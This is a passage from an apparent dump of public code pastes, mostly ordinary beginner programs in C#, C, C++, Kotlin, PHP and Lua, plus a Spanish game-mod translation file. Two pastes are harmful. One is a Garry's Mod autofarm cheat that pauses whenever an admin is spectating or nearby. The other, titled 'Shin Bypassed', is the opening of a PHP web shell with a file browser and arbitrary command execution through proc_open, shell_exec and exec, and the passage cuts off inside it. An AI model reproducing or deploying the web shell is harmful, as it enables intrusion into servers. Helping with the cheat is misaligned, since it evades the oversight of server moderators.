lcm) + fmt.Println(""НОД: "", gcd) +} +" +L2pR4Yrw,Консольное меню,Yaniha,C#,Wednesday 18th of October 2023 12:27:34 PM CDT,"using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Web; +using static System.Net.Mime.MediaTypeNames; + +namespace CSLight +{ + internal class Program + { + static void Main(string[] args) + { + const string CommandSayMyName = ""SayMyName""; + const string CommandChangePassword = ""ChangePassword""; + const string CommandChangeConsoleColor = ""ChangeConsoleColor""; + const string CommandChangeBackgroundColor = ""ChangeBackgroundColor""; + const string CommandChangeBackgroundColorBlue = ""Blue""; + const string CommandChangeBackgroundColorBlack = ""Black""; + const string CommandChangeTextColor = ""ChangeTextColor""; + const string CommandChangeTextColorYellow = ""Yellow""; + const string CommandChangeTextColorWhite = ""White""; + const string CommandGoPlay = ""GoPlay""; + const string CommandExit = ""exit""; + + Random rand = new Random(); + string userName; + string userPassword; + string userInput; + bool isWorking = true; + int number; + int playerNumber; + int minVolueNumber = 1; + int maxVolueNumber = 11; + int attempts = 4; + + Console.WriteLine(""Меня зовут Ева. Я вашь консольный ассистент. Как мне к вам обращаться?""); + userName = Console.ReadLine(); + Console.WriteLine($""Здравствуй, {userName}. Придумайте себе пароль.""); + userPassword = Console.ReadLine(); + Console.WriteLine(""Отлично. Давайте я покажу вам что я могу делать.\nНажмите любую кнопку чтобы продолжить...""); + Console.ReadKey(); + Console.Clear(); + + while (isWorking) + { + Console.Clear(); + Console.WriteLine(""Введите любую команду из представленных ниже:""); + Console.WriteLine($""{CommandSayMyName} - Напомнить ваше имя""); + Console.WriteLine($""{CommandChangePassword} - Сменить пароль""); + Console.WriteLine($""{CommandChangeConsoleColor} - Сменить оформление""); + Console.WriteLine($""{CommandGoPlay} - Сыграть в угадай число""); + Console.WriteLine($""{CommandExit} - Выход""); + + userInput = Console.ReadLine(); + + switch (userInput) + { + case CommandSayMyName: + Console.Clear(); + Console.WriteLine(""Как вы могли забыть свое имя? Вы в норме? Введите пароль, чтобы я поняла, что это настоящий вы.""); + userInput = Console.ReadLine(); + + if (userInput == userPassword) + { + Console.WriteLine($""Как вы могли забыть, выс зовут {userName}. Больше не забывайте""); + } + else + { + Console.WriteLine(""Извините, но я не могу вам выдать имя владельца этого аккаунта. Боюсь что ему это не понравится.""); + } + + Console.WriteLine(""Нажмите любую кнопку чтобы продолжить...""); + Console.ReadKey(); + break; + + case CommandChangePassword: + Console.Clear(); + Console.WriteLine(""Введите старый пароль:""); + userInput = Console.ReadLine(); + + if (userInput == userPassword) + { + Console.WriteLine(""Введите новый пароль:""); + userPassword = Console.ReadLine(); + Console.WriteLine(""Пароль успешно изменен.""); + } + else + { + Console.WriteLine(""Пароль неверный. Извините, но я не помочь вам.""); + } + + Console.WriteLine(""Нажмите любую кнопку чтобы продолжить...""); + Console.ReadKey(); + break; + + case CommandChangeConsoleColor: + Console.Clear(); + Console.WriteLine(""Что хотите изменить?""); + Console.WriteLine($""{CommandChangeBackgroundColor} - Поменять фон""); + Console.WriteLine($""{CommandChangeTextColor} - Поменять текст""); + userInput = Console.ReadLine(); + + if (userInput == CommandChangeBackgroundColor) + { + Console.Clear(); + Console.WriteLine($""Какой фон хотите?\n{CommandChangeBackgroundColorBlue} - Синий\n{CommandChangeBackgroundColorBlack} - Черный""); + userInput = Console.ReadLine(); + + if (userInput == CommandChangeBackgroundColorBlue) + { + Console.BackgroundColor = ConsoleColor.Blue; + } + else if (userInput == CommandChangeBackgroundColorBlack) + { + Console.BackgroundColor = ConsoleColor.Black; + } + else + { + Console.WriteLine(""Я вас не понимаю чего вы от меня хотите...""); + Console.ReadKey(); + } + } + else if (userInput == CommandChangeTextColor) + { + Console.Clear(); + Console.WriteLine($""Какой текст хотите?\n{CommandChangeTextColorYellow} - Желтый\n{CommandChangeTextColorWhite} - Белый""); + userInput = Console.ReadLine(); + + if (userInput == CommandChangeTextColorYellow) + { + Console.ForegroundColor = ConsoleColor.Yellow; + } + else if (userInput == CommandChangeTextColorWhite) + { + Console.ForegroundColor = ConsoleColor.White; + } + else + { + Console.WriteLine(""Я вас не понимаю чего вы от меня хотите...""); + Console.ReadKey(); + } + } + else + { + Console.WriteLine(""Я вас не понимаю чего вы от меня хотите...""); + Console.ReadKey(); + } + break; + + case CommandGoPlay: + number = rand.Next(minVolueNumber, maxVolueNumber); + + for (int i = attempts; i > 0; i--) + { + Console.Clear(); + Console.WriteLine($""Я загадала число от {minVolueNumber} до {maxVolueNumber - 1}. Попробуйте угадать его. У вас {attempts} попыток.""); + playerNumber = Convert.ToInt32(Console.ReadLine()); + + if (playerNumber == number) + { + Console.WriteLine($""В яблочко. Это было число {number}""); + Console.ReadKey(); + break; + } + else if (attempts == 0) + { + Console.WriteLine($""К сожалению вы не угадали. Это было число {number}""); + Console.ReadKey(); + break; + } + else + { + Console.WriteLine(""Мимо. Попробуйте еще раз""); + attempts--; + Console.ReadKey(); + } + } + break; + + case CommandExit: + Console.Clear(); + isWorking = false; + Console.WriteLine(""Программа закрыта.""); + break; + + default: + Console.Clear(); + Console.WriteLine(""Я вас не понимаю. Попробуйте еще раз.""); + Console.ReadKey(); + break; + } + } + + Console.ReadKey(); + } + } +}" +2ijMR3nU,Untitled,SaintMalthus,C#,Wednesday 18th of October 2023 12:27:15 PM CDT,"// See https://aka.ms/new-console-template for more information + +//Inputing Price per sheet +Console.WriteLine(""Input price per sheet.""); +double price = double.Parse(Console.ReadLine()); + +//Inputing Height +Console.WriteLine(""Input your Height.""); +double height = double.Parse(Console.ReadLine()); + +//Inputing Length +Console.WriteLine(""Input your Length""); +double length = double.Parse(Console.ReadLine()); + +//Calculating the price for price per cm3 +double total_Square_Footage = height * length; +double price_Per_cm3 = price / total_Square_Footage; + +//Message +Console.WriteLine(""=========================""); +Console.WriteLine(string.Empty); + +Console.WriteLine(""!!!INCERTING THE CUT PIECE!!!""); + +Console.WriteLine(string.Empty); +Console.WriteLine(""=========================""); + +// Inputing the cm3 for the cutted sheet + +Console.WriteLine(""Input your Height.""); +double height_Cut_Piece = double.Parse(Console.ReadLine()); + +Console.WriteLine(""Input your Length""); +double length_Cut_Piece = double.Parse(Console.ReadLine()); + +double total_Square_For_Cutted_Piece = height_Cut_Piece * length_Cut_Piece; + +//Calculating the price for the cutted piece + +double cutted_Piece_Price = total_Square_For_Cutted_Piece * price_Per_cm3; + +Console.WriteLine($""{cutted_Piece_Price:f2}""); + + + + + + + + +" +pzbjKHMs,Untitled,EnGold,Kotlin,Wednesday 18th of October 2023 12:26:49 PM CDT,"package com.chargemap.compose.numberpicker + +import androidx.compose.animation.core.* +import androidx.compose.foundation.background +import androidx.compose.foundation.gestures.Orientation +import androidx.compose.foundation.gestures.detectTapGestures +import androidx.compose.foundation.gestures.draggable +import androidx.compose.foundation.gestures.rememberDraggableState +import androidx.compose.foundation.layout.* +import androidx.compose.material.LocalTextStyle +import androidx.compose.material.MaterialTheme +import androidx.compose.material.ProvideTextStyle +import androidx.compose.material.Text +import androidx.compose.runtime.* +import androidx.compose.ui.Alignment +import androidx.compose.ui.Modifier +import androidx.compose.ui.draw.alpha +import androidx.compose.ui.graphics.Color +import androidx.compose.ui.input.pointer.pointerInput +import androidx.compose.ui.layout.Layout +import androidx.compose.ui.platform.LocalDensity +import androidx.compose.ui.text.TextStyle +import androidx.compose.ui.text.style.TextAlign +import androidx.compose.ui.unit.IntOffset +import androidx.compose.ui.unit.dp +import kotlinx.coroutines.launch +import kotlin.math.abs +import kotlin.math.roundToInt + +private fun getItemIndexForOffset( + range: List, + value: T, + offset: Float, + halfNumbersColumnHeightPx: Float +): Int { + val indexOf = range.indexOf(value) - (offset / halfNumbersColumnHeightPx).toInt() + return maxOf(0, minOf(indexOf, range.count() - 1)) +} + +@Composable +fun ListItemPicker( + modifier: Modifier = Modifier, + label: (T) -> String = { it.toString() }, + value: T, + onValueChange: (T) -> Unit, + dividersColor: Color = MaterialTheme.colors.primary, + list: List, + textStyle: TextStyle = LocalTextStyle.current, +) { + val minimumAlpha = 0.3f + val verticalMargin = 8.dp + val numbersColumnHeight = 80.dp + val halfNumbersColumnHeight = numbersColumnHeight / 2 + val halfNumbersColumnHeightPx = with(LocalDensity.current) { halfNumbersColumnHeight.toPx() } + + val coroutineScope = rememberCoroutineScope() + + val animatedOffset = remember { Animatable(0f) } + .apply { + val index = list.indexOf(value) + val offsetRange = remember(value, list) { + -((list.count() - 1) - index) * halfNumbersColumnHeightPx to + index * halfNumbersColumnHeightPx + } + updateBounds(offsetRange.first, offsetRange.second) + } + + val coercedAnimatedOffset = animatedOffset.value % halfNumbersColumnHeightPx + + val indexOfElement = getItemIndexForOffset(list, value, animatedOffset.value, halfNumbersColumnHeightPx) + + var dividersWidth by remember { mutableStateOf(0.dp) } + + Layout( + modifier = modifier + .draggable( + orientation = Orientation.Vertical, + state = rememberDraggableState { deltaY -> + coroutineScope.launch { + animatedOffset.snapTo(animatedOffset.value + deltaY) + } + }, + onDragStopped = { velocity -> + coroutineScope.launch { + val endValue = animatedOffset.fling( + initialVelocity = velocity, + animationSpec = exponentialDecay(frictionMultiplier = 20f), + adjustTarget = { target -> + val coercedTarget = target % halfNumbersColumnHeightPx + val coercedAnchors = + listOf(-halfNumbersColumnHeightPx, 0f, halfNumbersColumnHeightPx) + val coercedPoint = coercedAnchors.minByOrNull { abs(it - coercedTarget) }!! + val base = halfNumbersColumnHeightPx * (target / halfNumbersColumnHeightPx).toInt() + coercedPoint + base + } + ).endState.value + + val result = list.elementAt( + getItemIndexForOffset(list, value, endValue, halfNumbersColumnHeightPx) + ) + onValueChange(result) + animatedOffset.snapTo(0f) + } + } + ) + .padding(vertical = numbersColumnHeight / 3 + verticalMargin * 2), + content = { + Box( + modifier + .width(dividersWidth) + .height(2.dp) + .background(color = dividersColor) + ) + Box( + modifier = Modifier + .padding(vertical = verticalMargin, horizontal = 20.dp) + .offset { IntOffset(x = 0, y = coercedAnimatedOffset.roundToInt()) } + ) { + val baseLabelModifier = Modifier.align(Alignment.Center) + ProvideTextStyle(textStyle) { + if (indexOfElement > 0) + Label( + text = label(list.elementAt(indexOfElement - 1)), + modifier = baseLabelModifier + .offset(y = -halfNumbersColumnHeight) + .alpha(maxOf(minimumAlpha, coercedAnimatedOffset / halfNumbersColumnHeightPx)) + ) + Label( + text = label(list.elementAt(indexOfElement)), + modifier = baseLabelModifier + .alpha( + (maxOf( + minimumAlpha, + 1 - abs(coercedAnimatedOffset) / halfNumbersColumnHeightPx + )) + ) + ) + if (indexOfElement < list.count() - 1) + Label( + text = label(list.elementAt(indexOfElement + 1)), + modifier = baseLabelModifier + .offset(y = halfNumbersColumnHeight) + .alpha(maxOf(minimumAlpha, -coercedAnimatedOffset / halfNumbersColumnHeightPx)) + ) + } + } + Box( + modifier + .width(dividersWidth) + .height(2.dp) + .background(color = dividersColor) + ) + } + ) { measurables, constraints -> + // Don't constrain child views further, measure them with given constraints + // List of measured children + val placeables = measurables.map { measurable -> + // Measure each children + measurable.measure(constraints) + } + + dividersWidth = placeables + .drop(1) + .first() + .width + .toDp() + + // Set the size of the layout as big as it can + layout(dividersWidth.toPx().toInt(), placeables + .sumOf { + it.height + } + ) { + // Track the y co-ord we have placed children up to + var yPosition = 0 + + // Place children in the parent layout + placeables.forEach { placeable -> + + // Position item on the screen + placeable.placeRelative(x = 0, y = yPosition) + + // Record the y co-ord placed up to + yPosition += placeable.height + } + } + } +} + +@Composable +private fun Label(text: String, modifier: Modifier) { + Text( + modifier = modifier.pointerInput(Unit) { + detectTapGestures(onLongPress = { + // FIXME: Empty to disable text selection + }) + }, + text = text, + textAlign = TextAlign.Center, + ) +} + +private suspend fun Animatable.fling( + initialVelocity: Float, + animationSpec: DecayAnimationSpec, + adjustTarget: ((Float) -> Float)?, + block: (Animatable.() -> Unit)? = null, +): AnimationResult { + val targetValue = animationSpec.calculateTargetValue(value, initialVelocity) + val adjustedTarget = adjustTarget?.invoke(targetValue) + return if (adjustedTarget != null) { + animateTo( + targetValue = adjustedTarget, + initialVelocity = initialVelocity, + block = block + ) + } else { + animateDecay( + initialVelocity = initialVelocity, + animationSpec = animationSpec, + block = block, + ) + } +} +" +RQ6p7aKG,Untitled,d4r10,PHP,Wednesday 18th of October 2023 12:14:13 PM CDT," + + + + PHP Quiz Results + + + + + +

PHP Quiz Results

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
CategoryValue
Total Questions
Right Answers
Wrong Answers
Score
Overall Score
+ +

Answer Overview

+
    + $questionData) { + $question = $questionData['question']; + $choices = $questionData['choices']; + $correctAnswer = $correctAnswers[$questionId]; + $selectedAnswer = $userAnswers[$questionId]; + + $result = ($selectedAnswer == $correctAnswer) ? 'Correct' : 'Incorrect'; + + echo ""
  • $question
  • ""; + echo ""
      ""; + echo ""
    • Your Answer: $choices[$selectedAnswer]
    • ""; + echo ""
    • Correct Answer: $choices[$correctAnswer]
    • ""; + echo ""
    • Result: $result
    • ""; + echo ""
    ""; + echo ""
    ""; + } + ?> +
+ + Take the quiz again + + +" +pqnY3jCS,Spanish (ES) translation of More Maneuvers,H4wK32,XML,Wednesday 18th of October 2023 12:08:36 PM CDT," + + Emboscada + Emboscada (Iniciativa) + Emboscada (Sigilo) + Puedes gastar un <LSTag Type=""ActionResource"" Tooltip=""SuperiorityDie"">dado de supremacía</LSTag> para ganar una bonificación en Sigilo o a la tirada de Iniciativa. + Puedes gastar un <LSTag Type=""ActionResource"" Tooltip=""SuperiorityDie"">dado de supremacía</LSTag> y añadir el resultado a tu siguiente tirada de Iniciativa. + Puedes gastar un <LSTag Type=""ActionResource"" Tooltip=""SuperiorityDie"">dado de supremacía</LSTag> para añadir [1] a tus tiradas de <LSTag Tooltip=""Stealth"">Destreza (Sigilo)</LSTag>, durante 1 minuto (o durante 1 ronda, si estás en combate). + El resultado de tu siguiente tirada de Iniciativa aumenta en [1]. + [1] adicional a las tiradas de Destreza (Sigilo). + Señuelo y Cambio + Señuelo y Cambio (Aliado) + Señuelo y Cambio (Propio) + Cuando estás a [1] de una criatura amistosa, puedes gastar un <LSTag Type=""ActionResource"" Tooltip=""SuperiorityDie"">dado de supremacía</LSTag> y [1] de movimiento para cambiar de lugar con esa criatura, siempre que ésta no esté incapacitada. Este movimiento no provoca ataques de oportunidad.<br><br>Tira el dado de supremacía. Hasta el comienzo de tu siguiente turno, tú o la otra criatura (a tu elección) gana una bonificación a la <LSTag Tooltip=""ArmourClass"">CA</LSTag> igual al número obtenido en la tirada. + Cambia de lugar con un aliado cercano y otórgale una bonificación a la <LSTag Tooltip=""ArmourClass"">CA</LSTag> hasta el comienzo de tu siguiente turno. + Cambia de lugar con un aliado cercano y otórgate a ti mismo una bonificación a la <LSTag Tooltip=""ArmourClass"">CA</LSTag> hasta el comienzo de tu siguiente turno. + <LSTag Tooltip=""ArmourClass"">CA</LSTag> aumentada en [1]. + Prepararse + Prepararse + Prepararse + Cuando una criatura que puedes ver entra en el alcance que tienes con el arma cuerpo a cuerpo que estás empuñando, puedes usar tu reacción para gastar un <LSTag Type=""ActionResource"" Tooltip=""SuperiorityDie"">dado de supremacía</LSTag> y hacer un ataque a la criatura, usando esa arma. Si el ataque impacta, añade el dado de supremacía a la tirada de daño del arma. + Carga + Como una <LSTag Type=""ActionResource"" Tooltip=""BonusActionPoint"">acción adicional</LSTag>, puedes gastar un <LSTag Type=""ActionResource"" Tooltip=""SuperiorityDie"">dado de supremacía</LSTag> y tomar la acción de Correr. Si te mueves, al menos, [1] antes de golpear con un ataque cuerpo a cuerpo durante este turno, puedes añadir el dado de supremacía a la tirada de daño del ataque. + Gasta un <LSTag Type=""ActionResource"" Tooltip=""SuperiorityDie"">dado de supremacía</LSTag> y toma la acción de Correr. Si te mueves, al menos, [1] antes de golpear con un ataque cuerpo a cuerpo durante este turno, añade [2] a la tirada de daño. + Causando [1] de daño adicional gracias a tu impulso. + Presencia Dominante + Presencia Dominante (Intimidación/Persuasión) + Presencia Dominante (Interpretación) + Puedes gastar un <LSTag Type=""ActionResource"" Tooltip=""SuperiorityDie"">dado de supremacía</LSTag> para ganar una bonificación a las tiradas de <LSTag Tooltip=""Intimidation"">Carisma (Intimidación)</LSTag>, <LSTag Tooltip=""Performance"">Carisma (Interpretación)</LSTag> o <LSTag Tooltip=""Persuasion"">Carisma (Persuasión)</LSTag>. + Cuando haces una tirada de <LSTag Tooltip=""Intimidation"">Carisma (Intimidación)</LSTag> o <LSTag Tooltip=""Persuasion"">Carisma (Persuasión)</LSTag>, puedes gastar un <LSTag Type=""ActionResource"" Tooltip=""SuperiorityDie"">dado de supremacía</LSTag> y añadir [1] a la tirada.<br><br>NO LANZAR MANUALMENTE!!!<br>(Actívalo en la ventana de diálogo de la tirada) + Gasta un <LSTag Type=""ActionResource"" Tooltip=""SuperiorityDie"">dado de supremacía</LSTag> y, durante el minuto siguiente (o hasta la siguiente ronda, si estás en combate), cuando realices una tirada de <LSTag Tooltip=""Performance"">Carisma (Interpretación)</LSTag>, añade [1] a la tirada. + [1] adicional a las tiradas de Carisma (Interpretación). + Ataque y agarre + Ataque y agarre + Inmediatamente después de golpear a una criatura con un ataque cuerpo a cuerpo en tu turno, puedes gastar un <LSTag Type=""ActionResource"" Tooltip=""SuperiorityDie"">dado de supremacía</LSTag> y luego intentar agarrar al objetivo como una acción adicional. Añade el dado de supremacía a tu tirada de <LSTag Tooltip=""Athletics"">Fuerza (Atletismo)</LSTag>. + Gasta un <LSTag Type=""ActionResource"" Tooltip=""SuperiorityDie"">dado de supremacía</LSTag> e intenta apresar al objetivo como una acción adicional. Añade el dado de supremacía a tu tirada de <LSTag Tooltip=""Athletics"">Fuerza (Atletismo)</LSTag>. + Ataque de arremetida + Puedes gastar un <LSTag Type=""ActionResource"" Tooltip=""SuperiorityDie"">dado de supremacía</LSTag> para aumentar el alcance de uno de tus ataques cuerpo a cuerpo en [1] y, si impacta, añades el dado de supremacía a la tirada de daño de ese ataque. + Aumenta el alcance del siguiente ataque cuerpo a cuerpo que realices antes del final de tu siguiente turno en [1]. Si el ataque impacta, inflige [2] de daño adicional. + Lanzamiento rápido + Como una <LSTag Type=""ActionResource"" Tooltip=""BonusActionPoint"">acción adicional</LSTag>, puedes gastar un <LSTag Type=""ActionResource"" Tooltip=""SuperiorityDie"">dado de supremacía</LSTag> y hacer un ataque a distancia con un arma que tenga la propiedad ""Arrojadiza"". Puedes sacar el arma como parte de este ataque. Si el ataque impacta, añade el dado de supremacía a la tirada de daño de ese ataque. + Evaluación táctica + Puedes gastar un <LSTag Type=""ActionResource"" Tooltip=""SuperiorityDie"">dado de supremacía</LSTag> para ganar una bonificación a las tiradas de <LSTag Tooltip=""Investigation"">Inteligencia (Investigación)</LSTag>, <LSTag Tooltip=""History"">Inteligencia (Historia)</LSTag> y <LSTag Tooltip=""Insight"">Sabiduría (Perspicacia)</LSTag>, durante 30 segundos (o 1 ronda, si estás en combate). + Gasta un <LSTag Type=""ActionResource"" Tooltip=""SuperiorityDie"">dado de supremacía</LSTag> y gana una bonificación de [1] a las tiradas de <LSTag Tooltip=""Investigation"">Inteligencia (Investigación)</LSTag>, <LSTag Tooltip=""History"">Inteligencia (Historia)</LSTag> y <LSTag Tooltip=""Insight"">Sabiduría (Perspicacia)</LSTag>, durante 30 segundos (o 1 ronda, si estás en combate). + [1] adicional a las tiradas de Inteligencia (Historia), Inteligencia (Investigación) y Sabiduría (Perspicacia). +" +4zEabVLw,05. List Manipulation Advanced,andarz,C#,Wednesday 18th of October 2023 11:50:20 AM CDT,"List nums = Console.ReadLine().Split().Select(int.Parse).ToList(); +string input = Console.ReadLine(); + +while (input != ""end"") +{ + if (input.StartsWith(""Contains"")) + { + int numberIfContains = int.Parse(input.Split("" "")[1]); + if (nums.Contains(numberIfContains)) + { + Console.WriteLine(""Yes""); + } + else + Console.WriteLine(""No such number""); + } + else if (input.StartsWith(""PrintEven"")) + { + foreach (int num in nums) + { + if (num % 2 == 0) + { + Console.Write(num + "" ""); + } + } + } + else if (input.StartsWith(""PrintOdd"")) + { + foreach (int num in nums) + { + if (num % 2 != 0) + { + Console.Write(num + "" ""); + } + } + } + else if (input.StartsWith(""GetSum"")) + { + Console.WriteLine(nums.Sum()); + } + else if (input.StartsWith(""Filter"")) + { + string condition = input.Split("" "")[1]; + int number = int.Parse(input.Split("" "")[2]); + + switch (condition) + { + case ""<"": + foreach (int num in nums) + { + if (num < number) + { + Console.Write(num + "" ""); + } + } + break; + case "">"": + foreach (int num in nums) + { + if (num > number) + { + Console.Write(num + "" ""); + } + } + break; + case "">="": + foreach (int num in nums) + { + if (num >= number) + { + Console.Write(num + "" ""); + } + } + break; + case ""<="": + foreach (int num in nums) + { + if (num <= number) + { + Console.Write(num + "" ""); + } + } + break; + } + } + input = Console.ReadLine(); +} +" +RwhmLNrU,Programa C Exemplo Função,hercioneto,C,Wednesday 18th of October 2023 11:48:55 AM CDT,"// Online C compiler to run C program online +#include + +int somar(int n1, int n2, int n3) { + printf(""\n Oi vim somar\n""); + int soma; + soma = n1+n2+n3; + return soma; +} + +void main() { + // Write C code here + int numero1,numero2,numero3, resultado; + printf(""Informe o primeiro numero: ""); + scanf(""%i"",&numero1); + + printf(""Informe o primeiro numero: ""); + scanf(""%i"",&numero2); + + printf(""Informe o primeiro numero: ""); + scanf(""%i"",&numero3); + + resultado = somar(numero1,numero2,numero3); + + printf(""O resultado deu: %i"",resultado); + + +}" +aDsTS5zf,Gmod autofarm zero’s botnet addons,Fumzou,Lua,Wednesday 18th of October 2023 11:41:31 AM CDT,"local originalAngles = nil +local scriptRunning = false + +-- Console commands to start and stop the script +concommand.Add(""startzerosbot"", function() scriptRunning = true; print(""Script started."") end) +concommand.Add(""stopzerosbot"", function() scriptRunning = false; print(""Script stopped."") end) + +-- Function to check if an admin is spectating the player +local function IsAdminSpectatingMe() + for _, ply in pairs(player.GetAll()) do + if ply:IsAdmin() and ply:GetObserverTarget() == LocalPlayer() then + return true + end + end + return false +end + +-- Function to check if an admin is nearby +local function IsAdminNearby() + for _, ply in pairs(ents.FindInSphere(LocalPlayer():GetPos(), 500)) do + if ply:IsPlayer() and ply:IsAdmin() then + return true + end + end + return false +end + +-- Retrieve a list of all controllers within a 1000 unit sphere around the player +local controllers = ents.FindInSphere(LocalPlayer():GetPos(), 1000) +local Controller = nil + +-- Go through the list of found entities and select the first controller found +for _, ent in ipairs(controllers) do + if ent:GetClass() == ""zbf_controller"" then + Controller = ent + break + end +end + +if Controller == nil then + print(""No controllers found within range!"") + return +end + +local function SetEyeAnglesToBot(bot) + local ang = (bot:GetPos() - LocalPlayer():GetShootPos()):Angle() + originalAngles = LocalPlayer():EyeAngles() + + hook.Add(""CreateMove"", ""LookAtBot"", function(cmd) + cmd:SetViewAngles(ang) + end) +end + +local function InteractWithBot(bot, action) + print(""Attempting to "" .. action .. "" bot: "" .. tostring(bot)) + + if action == ""repair"" then + net.Start(""zbf_Controller_Repair"") + net.WriteEntity(bot) + net.SendToServer() + else + RunConsoleCommand(""+use"") + timer.Simple(0.1, function() RunConsoleCommand(""-use"") end) + end + + timer.Simple(0.1, function() + if originalAngles then + LocalPlayer():SetEyeAngles(originalAngles) + originalAngles = nil + end + + hook.Remove(""CreateMove"", ""LookAtBot"") + end) +end + +timer.Create(""CheckBotErrorsAndHealth"", 2, 0, function() + if not scriptRunning or IsAdminSpectatingMe() or IsAdminNearby() then return end + + local pos = LocalPlayer():GetPos() + + for _, bot in pairs(ents.FindInSphere(pos, 1000)) do + if bot:GetClass() == ""zbf_bot"" then + if zbf.Bot.HasError(bot) then + print(""Bot error detected: "" .. tostring(bot)) + + SetEyeAnglesToBot(bot) + InteractWithBot(bot, ""resolve"") + elseif bot:Health() < 25 then + print(""Low health bot detected: "" .. tostring(bot)) + + SetEyeAnglesToBot(bot) + InteractWithBot(bot, ""repair"") + end + end + end +end) + +print(""Script loaded. Use startzerosbot and stopzerosbot commands to control the script."") + +timer.Create(""CheckControllerWallet"", 10, 0, function() + if not scriptRunning or IsAdminSpectatingMe() or IsAdminNearby() then return end + + print(""Checking the Controller wallet..."") + + -- Get the current wallet value + local walletValue = zbf.Wallet.GetMoneyValue(Controller) + print(""Current wallet value: "" .. walletValue) + + -- Check if maximum capacity is reached + if walletValue >= 50000 then + print(""Maximum wallet capacity reached. Sending Bitcoin to the vault..."") + -- Transfer the money to the vault + net.Start(""zbf_Wallet_SendToVault"") + net.WriteEntity(Controller) + net.WriteUInt(2, 8) -- The ID of Bitcoin is 2 + net.SendToServer() + print(""Attempted to send Bitcoin to the vault."") + else + print(""Wallet capacity not yet reached."") + end +end)" +tNDGyvci,Untitled,Zeinab_Hamdy,C++,Wednesday 18th of October 2023 11:34:02 AM CDT,"#include +using namespace std; +#define nl ""\n"" +#define fi first +#define se second +#define pb push_back +#define ll long long +#define ull unsigned ll +#define RV return void +// #define inf 2000000000 +#define sz(x) int(x.size()) +#define all(v) v.begin(), v.end() +#define rall(v) v.rbegin(), v.rend() +#define Mini(x) *min_element(all(x)) +#define Maxi(x) *max_element(all(x)) +#define fixed(n) fixed << setprecision(n) +#define ceil(w, m) (((w) / (m)) + ((w) % (m) ? 1 : 0)) +#define cin(v) for (auto&i:v) cin >> i; +#define cout(v) for (auto&i:v) cout << i << "" ""; +#define clr(memo, x) memset(memo, x, sizeof memo) +#define updmin(a, b) a = min(a, b) +#define updmax(a, b) a = max(a, b) +#define vi vector < int > +#define vl vector < ll > +#define vc vector < char > +#define vs vector < string > +#define v2i vector < vector < int > > +#define v2l vector < vector < int > > +#define seti set < int > +#define setl set < ll > +#define mapii map < int , int > +#define mapll map < ll , ll > +#define mapli map < ll , int > +#define mapci map < char , int > +#define mapsi map < string , int > +#define pll pair < ll , ll > +#define pii pair < int , int > +#define range(l,r,x) for(int i=l ; i < r ; i+=x) +#define FastCode ios_base::sync_with_stdio(false); cin.tie(nullptr); cout.tie(nullptr); +vector < string > ternary= {""NO\n"" , ""YES\n""}; + +void Zainab(){ + #ifndef ONLINE_JUDGE + freopen(""input.txt"", ""r"", stdin); + freopen(""output.txt"", ""w"", stdout); + #endif +} + + +/*================================ solution ================================ */ + + +struct DSU{ + vector < int > Parent , Size ; + DSU(int mxSize){ + Parent.assign(mxSize+5 , 0); + Size.assign(mxSize+5 , 1); + for(int i=0 ; i<=mxSize ; i++) + Parent[i]=i, Size[i]=1; + } + + int FindLeader(int node){ + if(Parent[node]==node) + return node; + return Parent[node]=FindLeader(Parent[node]); + } + + bool SameGroup(int u , int v ){ + return FindLeader(u)==FindLeader(v); + } + + void MergeGroups(int u , int v){ + int LeaderU = FindLeader(u); + int LeaderV = FindLeader(v); + if(LeaderU==LeaderV) return; + + if(Size[LeaderV] > Size[LeaderU]) + swap(LeaderU , LeaderV); + + Parent[LeaderV]=LeaderU; + Size[LeaderU]+=Size[LeaderV]; + } +}; + + +struct Edge{ + int u , v , w ; +}; + + +void myCode(){ + + +int n , m ; +cin >> n >> m ; + +DSU dsu(n); +vector < Edge > ans ; + +for(int i =1 ;i <= m ; i++){ + Edge e ; + cin >> e.u >> e.v >> e.w ; + ans.pb(e); +} + +sort(all(ans) , [&](Edge a , Edge b){ + return a.w < b.w ; +}); + + +for(auto& e : ans){ + if(!dsu.SameGroup(e.u , e.v)){ + dsu.MergeGroups(e.u , e.v); + cout << e.u << "" "" << e.v << "" "" << e.w << nl; + } +} +cout << nl; + + +} + + +int main(){ + + FastCode ; + Zainab() ; + + int testCase=1; + // cin >> testCase ; + for(int i=1 ; i<= testCase ; i++){ + // cout << ""Case #"" << i << "": ""; + myCode(); + } + + + return 0; +}" +hx27h3w9,Untitled,kirkarr,Lua,Wednesday 18th of October 2023 11:22:04 AM CDT,"local modem = peripheral.wrap(""right"") or error(""No modem attached"", 0) +local otherpc = peripheral.wrap(""top"") +modem.open(32465) +while true do + local event, side, channel, replyChannel, message, distance = os.pullEvent(""modem_message"") + if math.floor(distance) == 3 then + if message == 3071 then + modem.transmit(replyChannel,32465,200) + end + end +end" +1AwP0Rav,Shin Bypassed,willysec_id,PHP,Wednesday 18th of October 2023 11:01:40 AM CDT," $item, + 'type' => is_dir($itemPath) ? 'Folder' : 'File', + 'size' => is_dir($itemPath) ? '' : formatSize(filesize($itemPath)), + 'permission' => substr(sprintf('%o', fileperms($itemPath)), -4), + ]; + if (is_dir($itemPath)) { + $folders[] = $itemDetails; + } else { + $files[] = $itemDetails; + } + } + + return array_merge($folders, $files); + } catch (Exception $e) { + return 'None'; + } +} + +function formatSize($size) +{ + $units = array('B', 'KB', 'MB', 'GB', 'TB'); + $i = 0; + while ($size >= 1024 && $i < 4) { + $size /= 1024; + $i++; + } + return round($size, 2) . ' ' . $units[$i]; +} +//cmd fitur +function executeCommand($command) +{ + $currentDirectory = getCurrentDirectory(); + $command = ""cd $currentDirectory && $command""; + + $output = ''; + $error = ''; + + // proc_open + $descriptors = [ + 0 => ['pipe', 'r'], + 1 => ['pipe', 'w'], + 2 => ['pipe', 'w'], + ]; + + $process = @proc_open($command, $descriptors, $pipes); + + if (is_resource($process)) { + fclose($pipes[0]); + + $output = stream_get_contents($pipes[1]); + fclose($pipes[1]); + + $error = stream_get_contents($pipes[2]); + fclose($pipes[2]); + + $returnValue = proc_close($process); + + $output = trim($output); + $error = trim($error); + + if ($returnValue === 0 && !empty($output)) { + return $output; + } elseif (!empty($error)) { + return 'Error: ' . $error; + } + } + + // shell_exec + $shellOutput = @shell_exec($command); + if ($shellOutput !== null) { + $output = trim($shellOutput); + if (!empty($output)) { + return $output; + } + } else { + $error = error_get_last(); + if (!empty($error)) { + return 'Error: ' . $error['message']; + } + } + + // exec + @exec($command, $execOutput, $execStatus); + if ($execStatus 